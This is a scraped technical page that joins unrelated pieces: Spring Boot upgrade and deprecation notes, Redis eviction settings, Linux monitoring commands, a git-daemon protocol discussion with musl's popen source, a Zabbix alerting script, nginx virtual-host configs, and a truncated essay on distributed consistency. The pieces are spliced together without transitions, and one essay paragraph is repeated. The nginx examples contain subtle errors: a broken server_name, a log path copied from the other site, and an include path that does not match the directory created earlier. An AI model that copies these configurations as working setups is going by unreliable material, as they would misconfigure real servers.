Depending on what modules of Spring Data you use, you might have to upgrade a couple of transitive dependencies, too:
Spring Data REST users will have to upgrade to Spring HATEOAS 0.21 (set spring-hateoas.version
to 0.21.0.RELEASE
)
Spring Data Redis users using Jedis as driver will have to upgrade to 2.9 (set jedis.version
to2.9.0
)
Velocity support has been deprecated since support has been deprecated as of Spring Framework 4.3.
Some constructors in UndertowEmbeddedServletContainer
have been deprecated (most uses should be unaffected).
The locations
and merge
attributes of the @ConfigurationProperties
annotation have been deprecated in favor of directly configuring the Environment
.
The protected SpringApplication.printBanner
method should no longer be used to print a custom banner. Use the Banner
interface instead.
The protected InfoEndpoint.getAdditionalInfo
method has been deprecated in favor of theInfoContributor
interface.
org.springframework.boot.autoconfigure.test.ImportAutoConfiguration
has been moved toorg.springframework.boot.autoconfigure
.
All classes in the org.springframework.boot.test
package have been deprecated. See the "upgrading" notes above for details.
PropertiesConfigurationFactory.setProperties(Properties)
is deprecated in favor of usingPropertySources
.
Several classes in the org.springframework.boot.context.embedded
package have been deprecated and relocated to org.springframework.boot.web.servlet
.
All classes in the org.springframework.boot.context.web
package have been deprecated and relocated.
The spring-boot-starter-ws
"Starter" has been renamed to spring-boot-starter-web-services
.
The spring-boot-starter-redis
"Starter" has been renamed to spring-boot-starter-data-redis
.
The spring-boot-starter-hornetq
starter and auto-configuration has been deprecated in favour of using spring-boot-starter-artemis
management.security.role
has been deprecated in favour of management.security.roles
The @org.springframework.boot.orm.jpa.EntityScan
annotation has been deprecated in favor of @org.springframework.boot.autoconfigure.domain.EntityScan
or explicit configuration.
TomcatEmbeddedServletContainerFactory.getValves()
has been deprecated in favor ofgetContextValves()
.
org.springframework.boot.actuate.system.EmbeddedServerPortFileWriter
has been deprecated in favor of org.springframework.boot.system.EmbeddedServerPortFileWriter
org.springframework.boot.actuate.system.ApplicationPidFileWriter
has been deprecated in favor of org.springframework.boot.system.ApplicationPidFileWriter
spring.jackson.serialization-inclusion
should be replaced with spring.jackson.default-property-inclusion
.
spring.activemq.pooled
should be replaced with spring.activemq.pool.enabled
.
spring.jpa.hibernate.naming-strategy
should be replaced withspring.jpa.hibernate.naming.strategy
.
server.tomcat.max-http-header-size
should be replaced with server.max-http-header-size
.
redis 的优化免不了要配置的项
redis 官方提供的 conf
https://raw.github.com/antirez/redis/2.2/redis.conf
中6中过期策略的具体方式。
redis 中的默认的过期策略是volatile-lru 。设置方式
config set maxmemory-policy volatile-lru
maxmemory-policy 六种方式
volatile-lru:只对设置了过期时间的key进行LRU(默认值)
allkeys-lru : 删除lru算法的key
volatile-random:随机删除即将过期key
allkeys-random:随机删除
volatile-ttl : 删除即将过期的
noeviction : 永不过期,返回错误
1 打开一个终端,su到root账号
2 用你喜欢的编辑器(vi/emacs/...)打开/etc/inittab文件
3 查找initdefault关键字,将“id:5:initdefault:”修改为“id:3:initdefault:”
如果系统中根本就没有/etc/inittab文件的话,也没关系,直接创建这个文件,并添加新的一行“id:3”。这样的话,你再重启服务器,便会默认进入命令行状态。当然,如果你只想在临时进入命令行状态,那么直接在终端中输入“init 3”就好了。
至此,我们的命令行准备好了,下面就可以开始通过强大的命令来查看“到底服务器里发生了什么”:
[01 - iostat ] [02/03 - meminfo/free ] [04 - mpstat ] [05 - netstat ] [06 - nmon ] [07 - pmap ] [08/09 - ps/pstree ] [10 - sar ] [11 - strace ] [12 - tcpdump ] [13 - top ] [14 - uptime ] [15 - vmstat ] [16 - wireshark ]
[01 - iostat]
iostat命令显示的是你的存储系统的细节状态。你通常可以用这个命令去检测你的存储设备是否工作正常,
完全可以在用户抱怨服务器慢之前,通过这个命令发现系统IO方面的问题。
如下可以看到iostat既可以显示CPU使用情况,也可以看到每个磁盘的IO情况。
# iostat 1 Linux 2.6.32-220.4.1.el6.i686 (roclinux) 2012年12月22日 _i686_ (4 CPU) avg-cpu: %user %nice %system %iowait %steal %idle 0.55 0.00 0.03 0.02 0.00 99.40 Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn sdb 0.41 2.61 5.76 2558664 5653872 sda 0.24 0.80 4.12 784650 4038344
[02/03 - meminfo/free]
meminfo提供了很详细的内存使用状况。可以直接用cat命令查看:
cat /proc/meminfo
当然meminfo里包含了太多细节,你可以直接使用free命令来查看有关内存的综述。
# free -m total used free shared buffers cached Mem: 1513 1429 83 0 343 836 -/+ buffers/cache: 249 1263 Swap: 0 0 0
[04 - mpstat]
mpstat用在多处理器的服务器上,用来显示每一个CPU的状态。
另外,mpstat也会显示所有处理器的平均状况。
你可以设置显示每个服务器的CPU统计信息,或者每个处理的CPU统计信息。
# mpstat -P ALL Linux 2.6.32-220.4.1.el6.i686 (roclinux) 2012年12月22日 _i686_ (4 CPU) 17时46分35秒 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle 17时46分35秒 all 0.55 0.00 0.03 0.02 0.00 0.00 0.00 0.00 99.40 17时46分35秒 0 0.84 0.00 0.04 0.03 0.00 0.01 0.00 0.00 99.08 17时46分35秒 1 0.51 0.00 0.03 0.02 0.00 0.00 0.00 0.00 99.44 17时46分35秒 2 0.45 0.00 0.02 0.01 0.00 0.00 0.00 0.00 99.51 17时46分35秒 3 0.40 0.00 0.02 0.01 0.00 0.00 0.00 0.00 99.56 # mpstat -P 0 Linux 2.6.32-220.4.1.el6.i686 (roclinux) 2012年12月22日 _i686_ (4 CPU) 17时46分39秒 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle 17时46分39秒 0 0.84 0.00 0.04 0.03 0.00 0.01 0.00 0.00 99.08
其中各个域的含义简述如下:
1 CPU:处理器编号,如果为all,则此行表示的是所有处理器的统计平均值
2 %usr:用户态的CPU利用率
3 %nice:具有调度优先级的用户态CPU利用率
4 %sys:内核态CPU利用率(此值不包括响应硬件中断和软件中断的时间)
5 %iowait:处理IO请求导致CPU处于IDLE状态的时间百分比
6 %irq:CPU响应硬件中断的时间比率
7 %soft:CPU响应软件中断的时间比率
8 %steal:当虚拟机监控器在服务于其他虚拟处理器时,虚拟CPU的被动等待时间比率
9 %guest:运行一个虚拟处理器所消耗的CPU时间比率
[05 - netstat]
netstat命令,是Linux系统管理员几乎每天都会用到的命令(它已经逐步在被ss命令取代),他可以显示很多有关网络方面的信息,例如socket使用情况、路由情况、网卡情况、协议情况、网络流量统计等等。
一些常用的netstat选项包括:
-a : 显示所有socke信息
-r : 显示路由信息
-i : 显示网卡借口统计
-s : 显示网络协议统计
[06 - nmon]
nmon是Nigel’s Monitor的缩写,它是一个很知名的监视Linux系统性能的工具。
nmon可以查看到处理器利用率、内存使用率、运行队列信息、磁盘IO统计、网络IO统计、换页统计等。
你可以通过一个基于curses的类GUI界面来查看到上述信息。
nmon监控工具
[07 - pmap]
pmap命令可以显示进程占用的内存量。
你可以通过pmap找到那个占用内存量最多的进程。
如下就是nignx主进程所占用的内存情况:
# pmap 2395|head -n 10 2395: nginx: master process ./sbin/nginx 00110000 240K r-x-- /lib/libgssapi_krb5.so.2.2 0014c000 4K ----- /lib/libgssapi_krb5.so.2.2 0014d000 4K r---- /lib/libgssapi_krb5.so.2.2 0014e000 4K rw--- /lib/libgssapi_krb5.so.2.2 0014f000 12K r-x-- /lib/libcom_err.so.2.1 00152000 4K r---- /lib/libcom_err.so.2.1 00153000 4K rw--- /lib/libcom_err.so.2.1 00154000 48K r-x-- /lib/libnss_files-2.12.so 00160000 4K r---- /lib/libnss_files-2.12.so ... b78e4000 20K rw--- [ anon ] b78f3000 4K rw-s- /dev/zero (deleted) b78f4000 4K rw--- [ anon ] bfeaa000 84K rw--- [ stack ] total 7280K
[08/09 - ps/pstree]
ps和pstree在Linux系统里是一对好兄弟,它们都是用来列出处于运行状态的进程的列表的。
ps告诉我们每个进程使用的内存量以及所消耗的CPU时间。
pstree则会告诉我们进程间的父子关系,如下便是mysql的一些父子关系信息:
# pstree -p 1829 mysqld_safe(1829)───mysqld(2307)─┬─{mysqld}(2309) ├─{mysqld}(2310) ├─{mysqld}(2311) ├─{mysqld}(2312) ├─{mysqld}(2313) ├─{mysqld}(2314) ├─{mysqld}(2315) ├─{mysqld}(2316) ├─{mysqld}(2317) ├─{mysqld}(2318) ├─{mysqld}(2320) ├─{mysqld}(2321) ├─{mysqld}(2322) ├─{mysqld}(2323) ├─{mysqld}(2325) ├─{mysqld}(2544) ├─{mysqld}(2548) ├─{mysqld}(7912) ├─{mysqld}(7914) ├─{mysqld}(7916) ├─{mysqld}(24689) ├─{mysqld}(27329) └─{mysqld}(27331)
[10 - sar]
sar命令堪称系统监控工具里的瑞士军刀。
sar命令实际上是由三个程序组成的,即sar(用于显示数据)、sa1(用于采集数据)和sa2(用于存储数据)。
sar可以涵盖到CPU利用率信息、内存换页信息、网络IO传输信息、进程创建行为和存储设备行为。
sar和nmon的最大区别在于,sar更适用于长期的系统监控,而nmon则更适用于快速查看信息。
如果希望更详细的学习sar命令,可以阅读《sar访谈》-linux命令五分钟系列之二十九。
[11 - strace]
starce经常被用来作为追查程序问题的工具,但他的功能远非如此。
它可以解析和记录进程的系统调用行为,这使得strace成为了一个非常有用的诊断、调查和纠错工具。
举例来说,你可以适用strace来追查到一个程序在启动之初所需加载的配置文件信息。
当然,strace也有它自身的缺陷,那就是strace会严重拖慢调查对象(某个进程)的性能和运行速度。
顺便推荐一篇非常好的strace的文章:《strace使用详解》
另外,如果你使用MAC,strace的替代品是truss。
[12 - tcpdump]
tcpdump是一个简单的、好用的网络监控工具。它的网络协议分析能力使得它能够看清网络中到底发生了什么,如果你希望更细节的调查的话,可以考虑适用功能更为强大的wireshark工具。
tcpdump的系列教程“在这里”。
[13 - top]
top命令可以显示系统中的进程信息。默认情况下,top会按照CPU使用率从高到低来显示系统中的进程,并且每5秒刷新一次排行榜。
当然,你也可以让top按照PID、进程寿命、CPU耗时、内存消耗等维度对进程进行排序。(我经常使用的是P和M快捷键,分别是按CPU利用率排序、按内存使用量排序)
通过top命令,你可以很快的发现那些失去控制或不符合预期的进程。
[14 - uptime]
通过uptime命令可以查看系统已经运行了多久,可以统计当前处于登陆状态的用户数量,还可以显示当前服务器的负载情况。
# uptime 18:35:17 up 11 days, 9:30, 1 user, load average: 0.00, 0.00, 0.00
[15 - vmstat]
大多数情况下,你可以使用vmstat命令去查看系统的虚拟内存情况,因为Linux通常会通过虚拟内存来获得更好的存储性能。
如果你的程序占用了大量了内存,那么系统会进行内存页换出的动作,以便把程序从内存中移动到系统SWAP空间中,也就是硬盘中。
如果系统的内存页的换入换出动作频度超过一个临界值,那么这种状态被叫做“Thrashing”。当系统处于thrashing状态时,性能会急剧下降。
vmstat命令便可以帮助人们及时发现此类问题,找出那个拖慢系统的元凶。
# vmstat 1 procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu----- r b swpd free buff cache si so bi bo in cs us sy id wa st 2 0 0 57484 356864 861332 0 0 0 1 7 3 1 0 99 0 0 0 0 0 57468 356864 861360 0 0 0 0 336 145 6 1 94 0 0 0 0 0 57468 356864 861360 0 0 0 0 43 51 0 0 100 0 0 0 0 0 57468 356864 861360 0 0 0 16 51 62 0 0 100 0 0
[16 - wireshark]
Wireshark的前身叫做Ethereal,我们可以认为wireshark是tcpdump命令的大师兄,因为wireshark会更为专业,也具有更高级的协议分析和统计能力。
Wireshark同时具有GUI界面和shell借口。
如果你是一位资深的网络管理员,那么你一定使用过ethereal。而如果你正在使用wireshark/ethereal,那么我推荐你阅读Chris Sander的一本非常好的书《Practical Packet Analysis》。
在 GIT 的三种主流传输协议 HTTP SSH GIT 中,GIT 协议是最少被使用的协议(也就是 URL 以 git://
开始的协议)。 这是由于 git 协议的权限控制几乎没有,要么全部可读,要么全部可写,要么全部可读写。所以对于代码托管平台来说, git 协议的目的仅仅是为了支持 公开项目的只读访问。
在 git 的各种传输协议中,git 协议无疑是最高效的,HTTP 受限于 HTTP 的特性,传输过程需要构造 HTTP 请求和响应。 如果是 HTTPS 还涉及到加密解密。另外 HTTP 的超时设置,以及包体大小限制都会影响用户体验。
而 SSH 协议的性能问题主要集中在加密解密上。当然相对于用户的信息安全来说,这些代价都是可以接受。
git 协议实际上相当于 SSH 无加密无验证,也就无从谈起权限控制,但实际上代码托管平台内部的一些同步服务,如果使用 git 协议实现,将会得到很大的性能提升。
git 协议的技术文档可以从 git 源码目录的 Documentation/technical
找到,即 Packfile transfer protocols 创建 TCP 连接后,git 客户端率先发送请求体,请求格式基于 BNF 的描述如下:
git-proto-request = request-command SP pathname NUL [ host-parameter NUL ] request-command = "git-upload-pack" / "git-receive-pack" / "git-upload-archive"; case sensitive pathname = *( %x01-ff ) ; exclude NUL host-parameter = "host=" hostname [ ":" port ]
一个例子如下:
0033git-upload-pack /project.git\0host=myserver.com\0
在 git 的协议中,pkt-line 是非常有意思的设计,行前 4 个字节表示整个行长,长度包括其前 4 字节, 但是有个特例,0000
其代表行长为 0,但其自身长度是 4。
下面是一个关于请求的结构体:
struct GitRequest{ std::string command; std::string path; std::string host; };
git 有自带的 git-daemon 实现,这个服务程序监听 9418 端口,在接收到客户端的请求后,先要判断 command 是 否是被允许的,git 协议中有 fetch 和 push 以及 archive 之类的操作,分别对应的服务器上的命令是 git-upload-pack git-receive-pack git-upload-archive。HTTP 只会支持前两种,SSH 会支持三种,而 代码托管平台的 git 通常支持的 是 git-upload-pack git-upload-archive。
当不允许的命令被接入时需要发送错误信息给客户端,这个信息在不同的 git-daemon 实现中也不一样,大体 如下所示。
001bERR service not enabled
git-daemon 将对请求路径进行转换,以期得到在服务器上的绝对路径,同时可以判断路径是否存在,不存在时 可以给客户端发送 Repository Not Found。而 host 可能时域名也可能时 ip 地址,当然也可以包括端口。 服务器可以在这里做进一步的限制,出于安全考虑应当考虑到请求是可以被伪造的。
客户端发送请求过去后,服务器将启动相应的命令,将命令标准错误和标准输出的内容发送给客户端,将客户端 传输过来的数据写入到命令的标准输入中来。
在请求体中,命令为 git-upload-pack /project.git 在服务器上运行时,就会类似
git-upload-pack ${RepositoriesRoot}/project.git
出于限制连接的目的,一般还会添加 --timeout=60
这样的参数。timeout 并不是整个操作过程的超时。
与 HTTP 不同的是,git 协议的命令中没有参数 --stateless-rpc
和 --advertise-refs
,在 HTTP 中,两个参数都存在时, 只输出存储库的引用列表与 capabilities,与之对于的是 GET /repository.git/info/refs?service=git-upload(receive)-pack
, 当只有 --stateless-rpc 时,等待客户端的数据,然后解析发送数据给客户端,,与之对应的是 POST /repository.git/git-upload(receive)-pack
。
在 C 语言中,有 popen 函数,可以创建一个进程,并将进程的标准输出或标准输入创建成一个文件指针,即FILE*
其他可以使用 C 函数的语言很多也提供了类似的实现,比如 Ruby,基于 Ruby 的 git HTTP 服务器 grack 正是使用 的 popen,相比与其他语言改造的 popen,C 语言中 popen 存在了一些缺陷,比如无法同时读写,如果要输出标准 错误,需要在命令参数中额外的将标准错误重定向到标准输出。
在 musl libc 的中,popen 的实现如下:
FILE *popen(const char *cmd, const char *mode) { int p[2], op, e; pid_t pid; FILE *f; posix_spawn_file_actions_t fa; if (*mode == 'r') { op = 0; } else if (*mode == 'w') { op = 1; } else { errno = EINVAL; return 0; } if (pipe2(p, O_CLOEXEC)) return NULL; f = fdopen(p[op], mode); if (!f) { __syscall(SYS_close, p[0]); __syscall(SYS_close, p[1]); return NULL; } FLOCK(f); /* If the child's end of the pipe happens to already be on the final * fd number to which it will be assigned (either 0 or 1), it must * be moved to a different fd. Otherwise, there is no safe way to * remove the close-on-exec flag in the child without also creating * a file descriptor leak race condition in the parent. */ if (p[1-op] == 1-op) { int tmp = fcntl(1-op, F_DUPFD_CLOEXEC, 0); if (tmp < 0) { e = errno; goto fail; } __syscall(SYS_close, p[1-op]); p[1-op] = tmp; } e = ENOMEM; if (!posix_spawn_file_actions_init(&fa)) { if (!posix_spawn_file_actions_adddup2(&fa, p[1-op], 1-op)) { if (!(e = posix_spawn(&pid, "/bin/sh", &fa, 0, (char *[]){ "sh", "-c", (char *)cmd, 0 }, __environ))) { posix_spawn_file_actions_destroy(&fa); f->pipe_pid = pid; if (!strchr(mode, 'e')) fcntl(p[op], F_SETFD, 0); __syscall(SYS_close, p[1-op]); FUNLOCK(f); return f; } } posix_spawn_file_actions_destroy(&fa); } fail: fclose(f); __syscall(SYS_close, p[1-op]); errno = e; return 0; }
在 Windows Visual C++ 中,popen 源码在 C:\Program Files (x86)\Windows Kits\10\Source\${SDKVersion}\ucrt\conio\popen.cpp
, 按照 MSDN 文档说明,Windows 32 GUI 程序,即 subsystem 是 Windows 的程序,使用 popen 可能导致程序无限失去响应。
所以在笔者实现 git-daemon 及其他 git 服务器时,都不会使用 popen 这个函数。
为了支持跨平台和简化编程,笔者在实现 svn 代理服务器时就使用了 Boost Asio 库,后来也用 Asio 实现过一个 git 远程命令服务, 每一个客户端与服务器连接后,服务器启动程序,需要创建 3 条管道,分别是 子进程的标准输入 输出 错误,即 stdout stdin stderr, 然后注册读写异步事件,将子进程的输出与错误写入到 socket 发送出去,读取 socket 写入到子进程的标准输入中。
在 POSIX 系统中,boost 有一个文件描述符类 boost::asio::posix::stream_descriptor
这个类不能是常规文件,以前用 go 做 HTTP 前端 没注意就 coredump 掉。
在 Windows 系统中,boost 有文件句柄类 boost::asio::windows::stream_handle
此处的文件应当支持随机读取,比如命名管道(当然 在 Windows 系统的,匿名管道实际上也是命名管道的一种特例实现)。
以上两种类都支持 async_read
async_write
,所以可以很方便的实现异步的读取。
上面的做法,唯一的缺陷是性能并不是非常高,代码逻辑也比较复杂,当然好处是,错误异常可控一些。
在 Linux 网络通信中,类似与 git 协议这样读取子进程输入输出的服务程序的传统做法是,将 子进程的 IO 重定向到 socket, 值得注意的是 boost 中 socket 是异步非阻塞的,然而,git 命令的标准输入标准错误标准输出都是同步的,所以在 fork 子进程之 前,需要将 socket 设置为同步阻塞,当 fork 失败时,要设置回来。
socket_.native_non_blocking(false);
另外,为了记录子进程是否异常退出,需要注册信号 SIGCHLD 并且使用 waitpid 函数去等待,boost 就有boost::asio::signal_set::async_wait
当然,如果你开发这样一个服务,会发现,频繁的启动子进程,响应信号,管理连接,这些操作才是性能的短板。
一般而言,Windows 平台的 IO 并不能重定向到 socket,实际上,你如果使用 IOCP 也可以达到相应的效率。还有,Windows 的 socket API WSASocket WSADuplicateSocket 复制句柄 DuplicateHandle ,这些可以好好利用。
对于非代码托管平台的从业者来说,上面的相关内容可能显得无足轻重,不过,网络编程都是殊途同归,最后核心理念都是类似的。关于 git-daemon 如果笔者有时间会实现一个跨平台的简易版并开源。
Zabbix3.0入门到生产环境应用实战视频教程:
http://www.roncoo.com/course/view/fb3050a5b34b42f39ccad83ebebc89c1
龙果运维平台开源项目地址:
https://github.com/roncoo/roncoo-cmdb
最近看了刘天斯老师的机柜展示平台,非常绚丽,而且有大屏显示的话也是能够体现运维价值的,这里就说下我最近在做的CMDB平台的一些数据:
CMDB数据:
机房,机柜,机柜电源,机柜位置,机房合同,合同到期时间,机房联系人。
服务器,CPU,硬盘,是否虚拟化,宿主机,raid类型,内存。
资产ID,上架日期,下架记录,服务器代理商,代理商联系方式,服务器到保日期。
IP地址,MAC地址,业务线,产品线,操作系统。
通信这块主要技术json-rpc,然后提供Api接口给程序调用,按照固定格式导入即可;硬件固定信息,如IP,MAC,硬盘等信息,通过自动采集的API POST方式加入到数据表。像机房信息,机柜之类的可以给机房抄送一份excel表格然后直接导入即可。
机房服务器展示:通过把刘天斯老师机柜暂时平台的前端拿过来,然后结合到表结构里面展示;在故障告警的时候,留有一个告警接口的API,通过zabbix 把告警数据发送到运维平台;运维平台入库告警展示:下面是前端简单展示效果,具体操作如下:
前端机柜生成效果显示:闪烁效果直接获取厂商的gif文件调用即可,机柜命名方式比如下面的:5-6,5-7就分别表示第五排第六,第七个机柜:
上面是正常显示,当出现故障时候:就结合zabbix 告警脚本,发送过去给接口,故障如下:
鼠标移动到机柜就显示服务器的相关信息:
zabbix 的告警脚本并且发送状态到运维平台,并且更改服务器状态:
[[email protected] alertscripts]# cat zabbix_alert.py
#!/usr/bin/python
#coding:utf-8
import requests,json
import smtplib
from email.mime.text import MIMEText
import sys
#邮箱服务器地址
mail_host = 'smtp.163.com'
#邮箱用户名
mail_user = '[email protected]'
#邮箱密码
mail_pass = 'xxxxxx123456'
mail_postfix = '163.com'
def send_mail(to_list,subject,content):
me = mail_user+"
msg = MIMEText(content)
msg['Subject'] = subject
msg['From'] = me
msg['to'] = to_list
try:
s = smtplib.SMTP()
s.connect(mail_host)
s.login(mail_user,mail_pass)
s.sendmail(me,to_list,msg.as_string())
s.close()
return True
except Exception,e:
print str(e)
return False
def alert(message):
headers = {"Content-Type": "application/json"}
data = {}
res = {}
data['status'] = message
res['params']=data
res['jsonrpc'] = "2.0"
res["id"] = 1
res["method"]= "alert.turn"
url = "http://192.168.63.216:2000/api"
r = requests.post(url, headers=headers,json=res)
if __name__ == "__main__":
send_mail(sys.argv[1], sys.argv[2], sys.argv[3])
alert(sys.argv[2])
后端返回状态改变之后直接入库修改,我这边只是判断是否主题是PROBLEM或者OK:
前端代码可以按照刘天斯老师的然后自己修改成jquery即可,前端可以去自由发挥,如下简单样例:
<table border="0" cellpadding="1" cellspacing="0" height="440" width="99%">
<tbody><tr>
<td class="jgtable" align="center" height="30" valign="bottom"><font class="jgtitle">01</font></td></tr>
<td class="jgtable" align="center" height="30" valign="bottom">
</td>
</tr>
<tr>
<td class="jgtable" align="center" height="30" valign="bottom">
</td>
</tr>
<tr>
<td class="jgtable" align="center" height="30" valign="bottom">
</td>
</tr>
<tr>
<td class="jgtable" align="center" height="30" valign="bottom">
</td>
</tr>
<tr>
<td class="jgtable" align="center" height="30" valign="bottom">
</td>
</tr>
</tbody></table>
方法一:多个.conf方法(优点是灵活,缺点就是站点比较多配置起来麻烦)
这里以配置2个站点(2个域名)为例,n 个站点可以相应增加调整,假设:
IP地址: 202.55.1.100
域名1 example1.com 放在 /www/example1
域名2 example2.com 放在 /www/example2
配置 nginx virtual hosting 的基本思路和步骤如下:
把2个站点 example1.com, example2.com 放到 nginx 可以访问的目录 /www/
给每个站点分别创建一个 nginx 配置文件 example1.com.conf,example2.com.conf, 并把配置文件放到 /etc/nginx/vhosts/
然后在 /etc/nginx.conf 里面加一句 include 把步骤2创建的配置文件全部包含进来(用 * 号)
重启 nginx
下面是具体的配置过程:
1、在 /etc/nginx 下创建 vhosts 目录
mkdir /etc/nginx/vhosts
2、在 /etc/nginx/vhosts/ 里创建一个名字为 example1.com.conf 的文件,把以下内容拷进去
server { listen 80; server_name example1.com www. example1.com; access_log /www/access_ example1.log main; location / { root /www/example1.com; index index.php index.html index.htm; } error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 location ~ .php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /www/example1.com/$fastcgi_script_name; include fastcgi_params; } location ~ /.ht { deny all; } }
3、在 /etc/nginx/vhosts/ 里创建一个名字为 example2.com.conf 的文件,把以下内容拷进去
server { listen 80; server_name example2.com www. example2.com; access_log /www/access_ example1.log main; location / { root /www/example2.com; index index.php index.html index.htm; } error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 location ~ .php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /www/example2.com/$fastcgi_script_name; include fastcgi_params; } location ~ /.ht { deny all; } }
4、打开 /etc/nginix.conf 文件,在相应位置加入 include 把以上2个文件包含进来
user nginx; worker_processes 1; # main server error log error_log /var/log/nginx/error.log ; pid /var/run/nginx.pid; events { worker_connections 1024; } # main server config http { include mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] $request ' '"$status" $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; sendfile on; #tcp_nopush on; #keepalive_timeout 0; keepalive_timeout 65; gzip on; server { listen 80; server_name _; access_log /var/log/nginx/access.log main; server_name_in_redirect off; location / { root /usr/share/nginx/html; index index.html; } } # 包含所有的虚拟主机的配置文件 include /usr/local/etc/nginx/vhosts/*; }
5、重启 Nginx
/etc/init.d/nginx restart 方法二:动态目录方法(优点是方便,每个域名对应一个文件夹,缺点是不灵活)
这个简单的方法比起为每一个域名建立一个 vhost.conf 配置文件来讲,只需要在现有的配置文件中增加如下内容:
# Replace this port with the right one for your requirements
# 根据你的需求改变此端口
listen 80; #could also be 1.2.3.4:80 也可以是1.2.3.4:80的形式
# Multiple hostnames seperated by spaces. Replace these as well.
# 多个主机名可以用空格隔开,当然这个信息也是需要按照你的需求而改变的。
server_name star.yourdomain.com *.yourdomain.com http://www.*.yourdomain.com/;
#Alternately: _ *
#或者可以使用:_ * (具体内容参见本维基其他页面)
root /PATH/TO/WEBROOT/$host;
error_page 404 http://yourdomain.com/errors/404.html;
access_log logs/star.yourdomain.com.access.log;
location / {
root /PATH/TO/WEBROOT/$host/;
index index.php;
}
# serve static files directly
# 直接支持静态文件 (从配置上看来不是直接支持啊)
location ~* ^.+.(jpg|jpeg|gif|css|png|js|ico|html)$ {
access_log off;
expires 30d;
}
location ~ .php$ {
# By all means use a different server for the fcgi processes if you need to
# 如果需要,你可以为不同的FCGI进程设置不同的服务信息
fastcgi_pass 127.0.0.1:YOURFCGIPORTHERE;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /PATH/TO/WEBROOT/$host/$fastcgi_script_name;
fastcgi_param QUERY_STRING $query_string;
fastcgi_param REQUEST_METHOD $request_method;
fastcgi_param CONTENT_TYPE $content_type;
fastcgi_param CONTENT_LENGTH $content_length;
fastcgi_intercept_errors on;
}
location ~ /.ht {
deny all;
}
最后附另外一个二级域名匹配的方法
绑定域名
server_name *.abcd.com;
获取主机名
if ( $host ~* (.*).(.*).(.*))
{
set $domain $1;
}
定义目录
root html/abc/$domain/;
location /
{
root html/abcd/$domain;
index index.html index.php;
数据服务的高可用是所有企业都想拥有的,但是要想 让数据有高可用性,就需要冗余数据写多份。写多份的问题会带来一致性的问题,而一致性的问题又会带来性能问题,这就会陷入一个无解的死循环!
这里所谓数据 一致性,就是当多个用户试图同时访问一个数据库时,如果它们的事务同时使用相同的数据,可能会发生以下四种情况:丢失更新、未确定的相关性、不一致的分析 和幻像读。本篇文章将会给大家系统的介绍多种处理分布式数据一致性的技术模型,以下是作者原文:
在生产线上用一台服务器来提供数据服务的时候,经常会遇到如下的两个问题:
一台服务器的性能不足以提供足够的能力服务于所有网络请求。
担心服务器宕机,造成服务不可用或是数据丢失。
面对这些问题,我们不得不对服务器进行扩展,加入更多的机器来分担性能问题,以及解决单点故障问题。通常,我们会通过两种手段来扩展我们的数据服务:
数据分区: 就是把数据分块放在不同的服务器上(如:uid % 16,一致性哈希等)。
数据镜像: 让所有的服务器数据同步,提供无差别的数据服务。
使用第一种方案,无法解决数据丢失问题,单台服务器出问题时,一定会有部分数据丢失。所以,数据服务的高可用性只能通过第二种方法来完成——数据的冗余存 储(一般工业界认为比较安全的备份数应该是3份,如:Hadoop和Dynamo)。
但是,加入的机器越多数据就会变得越复杂,尤其是跨服务器的事务处 理,也就是跨服务器的数据一致性。这个是一个很难的问题!让我们用最经典的Use Case:“A帐号向B帐号汇钱”来说明一下,熟悉RDBMS事务的都 知道从帐号A到帐号B需要6个操作:
1、从A帐号中把余额读出来;
2、对A帐号做减法操作;
3、把结果写回A帐号中;
4、从B帐号中把余额读出来;
5、对B帐号做加法操作;
6、把结果写回B帐号中。
为了数据的一致性,这6件事,要么都成功做完,要么都不成功,而且这个操作的过程中,对A、B帐号的其它访问必需锁死,所谓锁死就是要排除其它的读写操作,不然会有脏数据问题,这就是事务。但是,在加入了多个机器后,这个事情会变得复杂起来:
4、从B帐号中把余额读出来;
5、对B帐号做加法操作;
6、把结果写回B帐号中。
为了数据的一致性,这6件事,要么都成功做完,要么都不成功,而且这个操作的过程中,对A、B帐号的其它访问必需锁死,所谓锁死就是要排除其它的读写操作,不然会有脏数据问题,这就是事务。但是,在加入了多个机器后,这个事情会变得复杂起来:
1、在数据分区的方案中: 如果A帐号和B帐号的数据不在同一台服务器上怎么办?我们需要一个跨机器的事务处理。也就是说,如果A的扣钱成功了,但B的加钱不成功,我们还要把A的操作给回滚回去。在不同的机器上实现,就会比较复杂。
2、在数据镜像的方案中: A 帐号和B帐号间的汇款是可以在一台机器上完成的,但是别忘了我们有多台机器存在A帐号和B帐号的副本。如果对A帐号的汇钱有两个并发操作(要汇给B和 C),这两个操作发生在不同的两台服务器上怎么办?也就是说,在数据镜像中,在不同的服务器上对同一个数据的写操作怎么保证其一致性,保证数据不冲突?
同时,我们还要考虑性能因素,如果不考虑性能的话,事务完成并不困难,系统慢一点就行了。除了考虑性能外,我们还要考虑可用性,也就是说,一台机器没了,数据不丢失,服务可由别的机器继续提供。 于是,我们需要重点考虑下面的这么几个情况:
容灾: 数据不丢、结点的Failover
数据的一致性: 事务处理
性能: 吞吐量 、 响应时间
前面说过,要解决数据不丢,只能通过数据冗余的方法,就算是数据分区,每个区也需要进行数据冗余处理。这就是数据副本:当出现某个节点的数据丢失时可以从 副本读到,数据副本是分布式系统解决数据丢失异常的唯一手段。所以,在这篇文章中,我们只讨论在数据冗余情况下考虑数据的一致性和性能的问题。简单说来:
要想让数据有高可用性,就得写多份数据。
写多份的问题会导致数据一致性的问题。
数据一致性的问题又会引发性能问题
这就是软件开发,按下了葫芦起了瓢。
说起数据一致性来说,简单说有三种类型(当然,如果细分的话,还有很多一致性模型,如:顺序一致性,FIFO一致性,会话一致性,单读一致性,单写一致性,但为了本文的简单易读,我只说下面三种):
